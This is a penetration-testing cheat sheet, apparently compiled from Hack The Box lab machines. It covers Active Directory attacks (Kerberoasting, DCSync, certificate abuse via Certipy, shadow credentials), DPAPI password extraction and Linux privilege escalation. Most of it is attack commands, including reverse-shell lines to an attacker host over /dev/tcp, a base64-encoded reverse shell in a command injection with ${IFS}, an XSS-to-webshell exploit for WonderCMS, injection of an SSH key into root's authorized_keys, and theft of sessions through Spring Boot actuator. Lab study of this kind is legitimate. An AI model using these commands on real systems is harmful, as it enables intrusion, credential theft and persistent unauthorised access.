Serve SMB share (capture hashes)? impacket-smbserver
impacket-GetUserSPNs (Kerberoasting)¶
When: You have creds + want to find crackable service passwords
# List SPNs only (fast recon)
impacket-GetUserSPNs <domain>/<user>:'<pass>' -dc-ip <DC_IP>
# List + Request TGS hashes (the actual attack)
impacket-GetUserSPNs <domain>/<user>:'<pass>' -dc-ip <DC_IP> -request
# Save hashes to file
impacket-GetUserSPNs <domain>/<user>:'<pass>' -dc-ip <DC_IP> -request -output hashes.txt
# With NT hash instead of password
impacket-GetUserSPNs <domain>/<user> -dc-ip <DC_IP> -hashes ':<NT_HASH>' -request
-hashes ':<NT_HASH>'= authenticate with hash (Pass-the-Hash)- Note the colon before the hash:
:<hash>= NTLM-only hash (no LM prefix)
impacket-GetNPUsers (AS-REP Roasting)¶
When: No creds yet, or looking for accounts without pre-auth
# Anonymous enumeration
impacket-GetNPUsers <domain>/ -no-pass -dc-ip <DC_IP> -format hashcat
# With user list
impacket-GetNPUsers <domain>/ -usersfile users.txt -dc-ip <DC_IP> -format hashcat
impacket-getTGT (Kerberos Ticket Acquisition)¶
When: Need a TGT for Kerberos-based attacks (PKINIT, Kerberos auth tools)
# Password auth
impacket-getTGT <domain>/<user>:'<pass>' -dc-ip <DC_IP>
# Hash auth
impacket-getTGT <domain>/<user> -dc-ip <DC_IP> -hashes ':<NT_HASH>'
# Certificate auth (PKINIT — after certipy exploitation)
impacket-getTGT <domain>/<user> -dc-ip <DC_IP> -cert-file <user>.pfx
- Saves ticket to
<user>.ccache - After running:
export KRB5CCNAME=./<user>.ccache - Verify:
klist
impacket-secretsdump (DCSync)¶
When: You have creds with replication rights → dump ALL domain hashes
# With password
impacket-secretsdump '<domain>/<user>:<pass>@<DC_HOSTNAME>'
# With NT hash
impacket-secretsdump '<domain>/<user>@<DC_HOSTNAME>' -hashes ':<NT_HASH>'
# Local dump only (on the machine, not DCSync)
impacket-secretsdump -local '<domain>/<user>:<pass>@<DC_HOSTNAME>'
-local= dump from local machine only (no DCSync, less noisy)- Without
-local= performs DCSync (requires DS-Replication-Get-Changes) - Output includes: All user NT hashes, krbtgt hash (Golden Ticket material)
impacket-smbclient (SMB File Browser)¶
When: Browse shares, transfer files, enumerate content
impacket-smbclient '<domain>/<user>:<pass>@<DC_HOSTNAME>'
# Interactive commands:
# shares → list shares
# use <share> → connect to share
# ls → list files
# get <file> → download file
# put <file> → upload file
# cd <dir> → change directory
impacket-mssqlclient (MSSQL Connection)¶
When: MSSQL on target, have credentials
# AD authentication (user is domain account)
impacket-mssqlclient <domain>/<user>:'<pass>'@<IP>
# SQL authentication (user is local SQL account)
impacket-mssqlclient <user>:'<pass>'@<IP>
- Key difference: Include
<domain>/prefix for AD auth, omit for SQL auth
impacket-owneredit (Change Object Ownership)¶
When: BloodHound shows WriteOwner → take ownership of target object
impacket-owneredit -action write -new-owner '<domain>\\<your_user>' -target '<target_user_or_group>' '<domain>/<your_user>:<pass>' -dc-ip <DC_IP>
-action write= change the owner (usereadto see current owner)-new-owner= who becomes the new owner (backslash notation:domain\\user)-target= the AD object you're taking ownership of- Why you want this: As owner, you can then modify the DACL (next tool)
impacket-dacledit (Modify ACL Permissions)¶
When: You own an object (or have WriteDACL) → grant yourself permissions
impacket-dacledit -action write -rights 'WriteMembers' -target '<target_group>' -new-rights-principal '<domain>\\<your_user>' '<domain>/<your_user>:<pass>' -dc-ip <DC_IP>
-action write= add an ACE (usereadto see current ACLs)-rights= specific right to grant (WriteMembers, GenericWrite, ResetPassword)-new-rights-principal= who gets the permission (backslash notation)- Chain: owneredit (take ownership) → dacledit (grant rights) → exploit the rights
impacket-psexec (Remote Execution)¶
When: Need to run commands on Windows without WinRM
impacket-psexec '<domain>/<user>:<pass>@<DC_HOSTNAME>' '<command>'
Certipy — Full Workflow Guide¶
The 5 Core Certipy Commands¶
certipy find → Enumerate CAs, templates, vulnerabilities
certipy req → Request a certificate from a CA
certipy auth → Authenticate to DC using a certificate (get TGT/NT hash)
certipy shadow → Shadow Credentials attack (extract NT hash non-destructively)
certipy account → Modify AD account attributes (UPN manipulation for ESC9)
Step 1: Find (Enumeration)¶
certipy find -dc-ip <DC_IP> -u <user>@<domain> -p '<pass>'
Common additions:
# Only enabled templates (reduces noise)
certipy find -dc-ip <DC_IP> -u <user>@<domain> -p '<pass>' -enabled
# Only vulnerable templates
certipy find -dc-ip <DC_IP> -u <user>@<domain> -p '<pass>' -enabled -vulnerable
# With hash auth
certipy find -dc-ip <DC_IP> -u <user>@<domain> -hashes ':<NT_HASH>' -enabled -vulnerable
-enabled= filter to only active templates-vulnerable= only show templates with known ESC vulnerabilities-hashes= authenticate with NT hash instead of password
Key output fields:
Template Name : ExampleTemplate
Enabled : True ← Must be True
Client Authentication : True ← Must be True for ESC1
Enrollee Supplies Subject : True ← ESC1 trigger
Enrollment Permissions
Enrollment Rights : DOMAIN\someuser ← Can YOU enroll?
[!] Vulnerabilities
ESC1 : ... ← Exploitable!
ESC9 : NoSecurityExtension ← UPN manipulation
Decision after certipy find:
What vulnerabilities are flagged?
├── ESC1 → Enrollee Supplies Subject + Client Auth
│ └── certipy req with -upn (spoof UPN directly)
├── ESC9 → NoSecurityExtension flag
│ └── certipy account update (change UPN) → req → auth → restore UPN
├── ESC4 → Template has writable properties
│ └── certipy template modify (add ESC1) → req → auth
├── No ESC flagged → Check enrollment rights
│ └── Can you enroll? If not, find ACL path to someone who can
└── Only Shadow Credentials viable → certipy shadow
Step 2: Request a Certificate (certipy req)¶
ESC1 — Spoof UPN directly (you control Subject Alternative Name):
certipy req -dc-ip <DC_IP> -u <enrolling_user>@<domain> -p '<pass>' -ca <CA_NAME> -template <TEMPLATE_NAME> -upn administrator@<domain>
-u <enrolling_user>= user WITH enrollment rights on the template-ca <CA_NAME>= exact CA name fromcertipy findoutput-template <TEMPLATE_NAME>= exact template name fromcertipy find-upn administrator@<domain>= the identity you're spoofing (target)- Output:
administrator.pfx(certificate + private key)
ESC9 — UPN must be changed FIRST (see ESC9 section below)
Step 3: Authenticate with Certificate (certipy auth)¶
certipy auth -pfx <user>.pfx -dc-ip <DC_IP> -domain <domain>
-pfx= the certificate file fromcertipy req- Output: TGT (
<user>.ccache) + NT hash extracted from PAC - NT hash: Copy this — it's your Pass-the-Hash credential
After auth:
# Option A: Use TGT (Kerberos auth)
export KRB5CCNAME=<user>.ccache
evil-winrm -i <DC_IP> -r <REALM> -u <user> -k
# Option B: Use NT hash (Pass-the-Hash)
evil-winrm -i <DC_IP> -u <user> -H '<NT_HASH>'
Step 4: Shadow Credentials (certipy shadow)¶
When: You have Write access to target's msDS-KeyCredentialLink (GenericWrite, GenericAll, or specific WriteProperty)
# All-in-one: create cert → add Key Credential → authenticate → extract hash
certipy shadow auto -u <your_user>@<domain> -p '<pass>' -account <target_user> -dc-ip <DC_IP>
# Manual workflow (if auto fails):
certipy shadow add -u <your_user>@<domain> -p '<pass>' -account <target_user> -dc-ip <DC_IP>
certipy shadow auth -username <target_user> -dc-ip <DC_IP>
shadow auto= automated full chain-account <target_user>= the user whose hash you want (you must have Write access to this user)shadow add= only adds Key Credential attributeshadow auth= authenticates using the Key Credential- Output: NT hash for target_user
Common issue: If auto fails, try splitting into add + auth separately.
Step 5: Account Update (certipy account — for ESC9)¶
When: ESC9 vulnerability (NoSecurityExtension on template)
certipy account update -u <your_user>@<domain> -p '<pass>' -user <user_to_modify> -upn <identity_to_spoof> -dc-ip <DC_IP>
-user <user_to_modify>= the account YOU CONTROL (e.g., ca_operator)-upn <identity_to_spoof>= who you want to become (e.g., Administrator)- You must have GenericWrite or equivalent over the
-usertarget
ESC9 Full Attack Chain¶
# Step 1: Change controlled user's UPN to Administrator
certipy account update -u <your_user>@<domain> -p '<pass>' -user <controlled_user> -upn Administrator -dc-ip <DC_IP>
# Step 2: Request certificate (cert has Administrator UPN, but no objectSid)
certipy req -dc-ip <DC_IP> -u <controlled_user>@<domain> -p '<controlled_pass>' -ca <CA_NAME> -template <TEMPLATE_NAME>
# Step 3: RESTORE controlled user's UPN (cleanup)
certipy account update -u <your_user>@<domain> -p '<pass>' -user <controlled_user> -upn <controlled_user>@<domain> -dc-ip <DC_IP>
# Step 4: Authenticate → get Administrator's NT hash
certipy auth -pfx administrator.pfx -dc-ip <DC_IP> -domain <domain>
Why ESC9 works:
- Templates with NoSecurityExtension flag don't embed the user's objectSid
- Normally KDC checks: "Does the SID in this cert match the account?" → denied if mismatch
- Without SID: KDC authenticates by UPN alone → if UPN says "Administrator", you get Administrator's TGT
- Attack direction: You modify the account you control, not the target
- Step 3 (restore) prevents the controlled account from staying broken
DPAPI (Data Protection API) Credential Extraction¶
What: Windows encryption API for protecting user secrets (saved credentials, browser passwords, certificates, RDP passwords)
When to use:
- Standard domain user with no ACL paths or dangerous Windows privileges
- Found user credentials → check their DPAPI for admin account passwords
- Administrative account exists but password unknown
- cmdkey /list shows saved credentials
Attack flow: User's password → decrypt DPAPI master keys → decrypt credential blobs → extract plaintext credentials
Step 1: DPAPI Enumeration¶
Check for saved credentials:
# From Windows shell (evil-winrm, RDP, etc.)
cmdkey /list
# Check for DPAPI master keys
dir C:\Users\<username>\AppData\Roaming\Microsoft\Protect\ -Force
# Check for credential blobs
dir C:\Users\<username>\AppData\Roaming\Microsoft\Credentials\ -Force
dir C:\Users\<username>\AppData\Local\Microsoft\Credentials\ -Force
# Check for browser credentials (user-level DPAPI)
dir "C:\Users\<username>\AppData\Local\Google\Chrome\User Data\Default\Login Data"
dir "C:\Users\<username>\AppData\Local\Microsoft\Edge\User Data\Default\Login Data"
Flags/Notes:
- Master keys: %APPDATA%\Microsoft\Protect\<USER-SID>\<GUID> files
- Credential blobs: %APPDATA%\Microsoft\Credentials\<GUID> or %LOCALAPPDATA%\Microsoft\Credentials\
- If cmdkey /list is empty, DPAPI may still have saved credentials
- Look for both Roaming and Local AppData locations
Step 2: DPAPI Decryption (Method 1 - SharpDPAPI, easiest)¶
Download SharpDPAPI:
# On Kali
wget https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/SharpDPAPI.exe
# Transfer to target via SMB
impacket-smbserver share . -smb2support -username test -password test
Run on Windows:
# Copy from Kali SMB share
copy \\<YOUR_VPN_IP>\share\SharpDPAPI.exe C:\Users\<username>\Documents\
# Decrypt all saved credentials
.\SharpDPAPI.exe credentials /password:<user_password>
# Decrypt browser passwords
.\SharpDPAPI.exe chrome /password:<user_password>
.\SharpDPAPI.exe edge /password:<user_password>
Flags/Notes:
- credentials = decrypt Windows Credential Manager vaults
- /password:<password> = user's plaintext password (needed to decrypt DPAPI master keys)
- Automatically finds and decrypts all DPAPI-protected data for current user
- Output: Target, Username, Password for all saved credentials
Step 3: DPAPI Decryption (Method 2 - dpapi.py manual, educational)¶
Download DPAPI files to Kali:
# From evil-winrm
download C:\Users\<username>\AppData\Roaming\Microsoft\Protect\<SID> /path/to/loot/dpapi/masterkeys
download C:\Users\<username>\AppData\Roaming\Microsoft\Credentials\<GUID> /path/to/loot/dpapi/credential.blob
Decrypt master key:
cd /path/to/loot/dpapi
# Find the master key GUID (in the SID directory)
ls masterkeys/<USER-SID>/
# Decrypt master key with user's password
dpapi.py masterkey -file masterkeys/<USER-SID>/<MASTERKEY-GUID> -sid <USER-SID> -password '<user_password>'
Flags/Notes:
- dpapi.py = Impacket tool for DPAPI operations
- -file = path to master key file
- -sid = user's SID (from directory name: S-1-5-21-...)
- -password = user's plaintext password
- Output: Decrypted master key in hex format (save this!)
Decrypt credential blob:
# Use decrypted master key from previous step
dpapi.py credential -file credential.blob -key <DECRYPTED_MASTERKEY_HEX>
Flags/Notes:
- -file = credential blob file (GUID filename)
- -key = decrypted master key in hex (from previous command)
- Output: Decrypted credentials (username + password)
Step 4: Alternative Tools¶
pypykatz (Python):
# Decrypt with pypykatz
pypykatz dpapi masterkey <masterkey_file> <password>
pypykatz dpapi credential <credential_blob> <decrypted_masterkey_hex>
Mimikatz (Windows):
# Decrypt DPAPI with Mimikatz
mimikatz # dpapi::masterkey /in:<masterkey_file> /password:<password>
mimikatz # dpapi::cred /in:<credential_blob> /masterkey:<hex>
DPAPI Troubleshooting¶
CRYPTPROTECT_SYSTEM flag error:
- If credential has CRYPTPROTECT_SYSTEM flag → encrypted by SYSTEM account, not user
- Cannot decrypt with user password
- Solution 1: Try browser credentials instead (user-level DPAPI)
- Solution 2: Get SYSTEM access first, then decrypt
- Solution 3: Use domain DPAPI backup keys (if Domain Admin)
No credentials found:
- Check both AppData\Roaming\Microsoft\Credentials\ AND AppData\Local\Microsoft\Credentials\
- Try browser credential extraction (Chrome/Edge)
- Check Windows Vault: AppData\Local\Microsoft\Vault\ and AppData\Roaming\Microsoft\Vault\
- User may not have saved any credentials
SharpDPAPI decryption fails: - Verify you're using correct password - Check if master key GUID matches the credential blob's guidMasterKey - Try dpapi.py manual method for more detailed error messages
DPAPI Use Cases¶
Common scenarios: 1. Regular user → Admin account: User saves admin password in DPAPI → extract for privilege escalation 2. Backup files contain user creds → DPAPI: Found config file with regular user password → use DPAPI to get admin password 3. Browser passwords: User logged into admin panels via browser → extract saved passwords 4. RDP credentials: Saved RDP connections often use DPAPI → extract connection passwords 5. Service account credentials: Applications save service account passwords in DPAPI
Attack pattern: - Find user credentials (backup files, config files, default passwords) - Login as that user (WinRM, RDP, etc.) - Extract DPAPI credentials - Look for admin account passwords or lateral movement opportunities
DPAPI Tools Summary¶
| Tool | Platform | Use Case | Pros | Cons |
|---|---|---|---|---|
| SharpDPAPI | Windows | Quick extraction | Automatic, finds everything | Needs Windows shell |
| dpapi.py | Kali/Linux | Offline analysis | Educational, shows process | 2-step manual process |
| pypykatz | Kali/Linux | Offline analysis | Python-based, versatile | Different syntax |
| Mimikatz | Windows | Live extraction | Full feature set | May trigger AV |
Recommendation: - Production: SharpDPAPI (fastest) - Learning: dpapi.py (understand the process) - Offline: dpapi.py or pypykatz (analyze downloaded files)
Linux Privilege Escalation — Internal Service Discovery¶
Command
# Quick-win checks first
id
sudo -l
find / -perm /4000 -type f 2>/dev/null
# THE KEY CHECK: internal services
ss -tlnp
# Alternative: netstat -tlnp
# Probe discovered internal service
curl -s http://127.0.0.1:<PORT>
curl -s http://127.0.0.1:<PORT> -u '<user>:<pass>' # Try known creds (password reuse!)
Why
- ss -tlnp reveals services bound to 127.0.0.1 that are invisible to external nmap scans
- Internal web apps on easy Linux boxes commonly run as root
- This is the highest-signal privesc check on Linux after sudo -l and SUID
Flags/Notes
- ss = socket statistics (modern replacement for netstat)
- -t = TCP, -l = listening, -n = numeric (no DNS), -p = show process
- Look for: 127.0.0.1:<port> entries NOT seen in nmap (external) scan
- Common ports: 8080, 8443, 3000, 9090, 5000 (web apps), 3306 (MySQL), 6379 (Redis)
- Always try password reuse — SSH creds often work for internal web apps (HTTP Basic, login forms)
- Learned from: HTB Sea
Linux Privilege Escalation — SSH Port Forwarding¶
Command
# Forward target's internal port to your Kali machine
ssh -L <local_port>:127.0.0.1:<remote_port> <user>@<target_ip>
# Example: forward internal 8080 to local 9090
ssh -L 9090:127.0.0.1:8080 [email protected]
# Then browse on Kali:
# http://127.0.0.1:9090
# Or use Burp proxy on 127.0.0.1:9090
Why - Internal services bound to 127.0.0.1 can't be reached directly from Kali - SSH tunnel makes them accessible as if they're on your local machine - Enables Burp Suite interception for web app testing
Flags/Notes
- -L local_port:target_host:target_port = Local port forwarding
- Traffic flow: Kali:9090 → SSH tunnel → Target:127.0.0.1:8080
- Tunnel dies on box reboot — must re-establish after reboot
- Can also forward multiple ports: ssh -L 9090:127.0.0.1:8080 -L 9091:127.0.0.1:3306 user@target
- Learned from: HTB Sea
Linux Privilege Escalation — Command Injection in Web Apps¶
Command
# Common injection separators to test (via curl or Burp)
# Semicolon — ends command, starts new one
log_file=/var/log/access.log;id
# Pipe — pipe output to new command
log_file=/var/log/access.log|id
# Newline — break to new line
log_file=/var/log/access.log%0aid
# Backtick — command substitution
log_file=/var/log/access.log`id`
# $() — command substitution
log_file=/var/log/access.log$(id)
Why - Web apps that pass user input to shell commands (system(), exec(), backticks) are vulnerable - Internal "admin" or "monitoring" apps are often poorly secured — they were "never meant to be exposed" - If the app runs as root, command injection = instant root RCE
Flags/Notes
- Always use Burp to intercept requests first — don't guess parameter names with curl
- Path traversal and command injection often coexist in the same parameter
- Path traversal may read files but filter output (grep, regex) — command injection bypasses the filter
- --data-urlencode in curl for payloads with special characters
- If file read shows "no results" but no error → the app is filtering/grepping. Try ;id to break out
- Learned from: HTB Sea
Linux Privilege Escalation — SSH Key Injection (Persistence)¶
Command
# When you have command injection as root but reverse shells are unstable:
# 1. Get your public key on Kali
cat ~/.ssh/id_ed25519.pub
# or generate from private key: ssh-keygen -y -f ~/.ssh/id_ed25519
# 2. Inject via command injection (curl example)
curl -s http://127.0.0.1:9090/ -u 'user:pass' \
--data-urlencode 'param=value;mkdir -p /root/.ssh;echo <YOUR_PUBLIC_KEY> >> /root/.ssh/authorized_keys;chmod 600 /root/.ssh/authorized_keys' \
-d 'submit='
# 3. SSH as root
ssh -i ~/.ssh/id_ed25519 root@<target>
Why
- Reverse shells can be killed by .bashrc exit traps, process watchdogs, or unstable connections
- SSH key injection provides stable, persistent, interactive access
- Works even when PermitRootLogin is set to prohibit-password (key-only)
Flags/Notes
- mkdir -p /root/.ssh = create dir if missing (safe)
- >> authorized_keys = append (don't overwrite existing keys)
- chmod 600 = required permissions (SSH refuses if too open)
- When to use over reverse shell:
- Shell connects then immediately exits
- .bashrc contains exit/logout commands
- Connection is unstable or drops after seconds
- You need persistent access across reboots
- Doesn't work if: PermitRootLogin no in sshd_config, or SSH service not running
- Learned from: HTB Sea
WonderCMS Exploitation (CVE-2023-41425)¶
Command
# Identify WonderCMS: directory structure + OSINT
# data/, messages/, plugins/, themes/ + PHP + no DB port = flat-file CMS
# Check page source for author names → Google → WonderCMS community
# Get exploit
searchsploit -m php/remote/52271.py
dos2unix 52271.py # searchsploit copies often have encoding issues
# Terminal 1: HTTP server for XSS payload
python3 -m http.server <port>
# Terminal 2: Run exploit
python3 52271.py --url http://<target>/loginURL --xip <kali_ip> --xport <port>
# Terminal 3: Listener
rlwrap nc -lnvp <port>
# After webshell uploads, trigger reverse shell:
curl -s 'http://<target>/themes/malicious/malicious.php' --get \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<kali_ip>/<port> 0>&1'"
Why
- WonderCMS 3.4.2 has stored XSS in the contact form "Website" field
- When admin views submissions, JS payload executes → uploads PHP webshell as theme
- Webshell lands at /themes/malicious/malicious.php
Flags/Notes
- Identification chain: directory fingerprint → author OSINT → CMS community → theme match
- dos2unix = fix searchsploit encoding (silent failure without this)
- Credential location: database.json in data/ dir (bcrypt $2y$ hashes, hashcat -m 3200)
- Contact form "Website" field = XSS injection vector
- Exploit requires 3 terminals: HTTP server + exploit script + listener
- Learned from: HTB Sea
Spring Boot Actuator Exploitation¶
Command
# 1. Fingerprint: Whitelabel Error Page confirms Spring Boot
curl -s http://target/invalidpath
# "Whitelabel Error Page" → Spring Boot confirmed
# 2. Check actuator endpoints
curl -s http://target/actuator | python3 -m json.tool
# 3. Steal session (session hijacking — no password needed!)
curl -s http://target/actuator/sessions | python3 -m json.tool
# Returns: {"SESSION_ID": "username", ...}
# 4. Replace JSESSIONID cookie in browser DevTools → navigate to /admin
# Browser: DevTools → Storage/Application → Cookies → set JSESSIONID = stolen session ID
# 5. Other valuable endpoints
curl -s http://target/actuator/env | python3 -m json.tool # env vars, secrets
curl -s http://target/actuator/mappings | python3 -m json.tool # all API routes
Why
- Spring Boot Actuator is a built-in management module — devs enable it for debugging and forget to lock it down
- /actuator/sessions leaks active session IDs mapped to usernames → trivial session hijacking
- /actuator/env can leak database passwords, API keys, Spring datasource credentials
- /actuator/mappings reveals all API endpoints including hidden ones
Flags/Notes
- Detection chain: Whitelabel Error Page → Spring Boot → check /actuator → check each sub-endpoint
- JSESSIONID cookie swap in browser DevTools is all it takes to impersonate another user
- Internal URLs in actuator response (e.g., localhost:8080) confirm nginx reverse proxy architecture
- If no actuator, try /actuator/health alone — sometimes only health is exposed
- If it fails: endpoints might be behind auth or disabled. Check /actuator/mappings via other means, or try Spring Boot RCE exploits
- Learned from: HTB CozyHosting
Command Injection — Whitespace Bypass & Base64 Encoding¶
Command
# When spaces are filtered ("can't contain whitespace" errors):
# Use ${IFS} — Internal Field Separator, evaluates to space at runtime
# Basic ${IFS} bypass
username=admin;cat${IFS}/etc/passwd
# Base64 encoding bypass (avoids ALL special characters)
# Step 1: Encode your payload
echo -ne "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'" | base64 -w0
# Step 2: Inject with ${IFS} replacing spaces, base64 decoding at runtime
curl http://target/endpoint \
--data-urlencode 'host=127.0.0.1' \
--data-urlencode 'username=admin;`echo${IFS}BASE64_STRING|base64${IFS}-d|bash`;#'
Why
- Many web apps filter spaces but don't filter ${IFS} — it's a variable, not a literal space
- Base64 encoding sidesteps ALL special character issues (spaces, >&, quotes, pipes)
- The # at the end comments out any text the server appends (e.g., @hostname in SSH commands)
Flags/Notes
- ${IFS} = bash Internal Field Separator (space/tab/newline). Bypasses string-level whitespace checks
- -w0 on base64 = no line wrapping (line breaks would break the injection)
- --data-urlencode in curl = properly encodes $, {, ; for transport
- Bad fd number error = server shell is sh/dash, NOT bash. /dev/tcp/ is bash-only → wrap in bash -c '...'
- # comment trick = neutralizes trailing characters the server appends after your input
- Backticks vs $() = both work for command substitution, but backticks are sometimes less filtered
- Payload anatomy: admin; (terminate SSH) + `echo B64|base64 -d|bash` (execute) + ;# (clean up)
- Learned from: HTB CozyHosting
Spring Boot JAR Extraction — Credential Harvesting¶
Command
# On target box after initial foothold:
# 1. Find the JAR
ls -la /app/ # or find / -name "*.jar" 2>/dev/null
# 2. Extract it
unzip cloudhosting-0.0.1.jar -d /tmp/extracted
# 3. Find credentials
grep -R password /tmp/extracted 2>/dev/null
cat /tmp/extracted/BOOT-INF/classes/application.properties
# 4. Typical findings:
# spring.datasource.url=jdbc:postgresql://localhost:5432/dbname
# spring.datasource.username=postgres
# spring.datasource.password=SecretPassword
# 5. Connect to the database
psql -h localhost -U postgres
# \list → list databases
# \c dbname → connect
# \d+ → list tables
# SELECT * FROM users;
Why
- Spring Boot bundles everything in a single JAR — config files, dependencies, templates
- application.properties (or .yml) almost always contains database credentials
- Internal databases (PostgreSQL, MySQL on localhost) are not visible from nmap but contain user hashes
- Cracking those hashes → password reuse → lateral movement to real system users
Flags/Notes
- Check ss -tlnp to find internal services (PostgreSQL default: 5432, MySQL: 3306)
- psql commands: \list (databases), \c dbname (connect), \d+ (tables), \d+ tablename (schema)
- bcrypt hashes ($2a$, $2y$) → john --wordlist=rockyou.txt or hashcat -m 3200
- Web app usernames ≠ system usernames — always check /home/ and /etc/passwd for real users
- Password reuse is extremely common — always try cracked web/DB passwords against SSH system users
- Learned from: HTB CozyHosting
Linux Privilege Escalation — Sudo SSH (GTFOBins)¶
Command
# Check sudo permissions
sudo -l
# If output shows: (root) /usr/bin/ssh *
# Escalate to root via ProxyCommand
sudo ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' x
Why
- SSH's -o ProxyCommand option runs a command before establishing the connection
- When SSH runs as root (via sudo), the ProxyCommand shell inherits root privileges
- The dummy hostname x never resolves — ProxyCommand fires first
Flags/Notes
- sudo ssh = runs SSH as root (must be allowed by sudo policy)
- -o ProxyCommand='...' = SSH option meant for proxy setup, abused to spawn a shell
- ;/bin/sh 0<&2 1>&2 = spawns shell with stdin/stdout connected to terminal
- x = dummy hostname (SSH never actually connects)
- DON'T FORGET sudo — without it you get a shell as your current user, not root
- Works for any (root) /usr/bin/ssh * sudo entry — the * wildcard allows any arguments
- Reference: GTFOBins SSH
- Learned from: HTB CozyHosting
Evidence capture¶
Command
- | tee logs/<name>.txt for readable output
- > logs/<name>.txt 2>&1 for large output
Why - Keep clean artifacts for writeups and proof
Flags/Notes
- Save outputs to logs/ and loot to loot/
- Note flag paths and commands used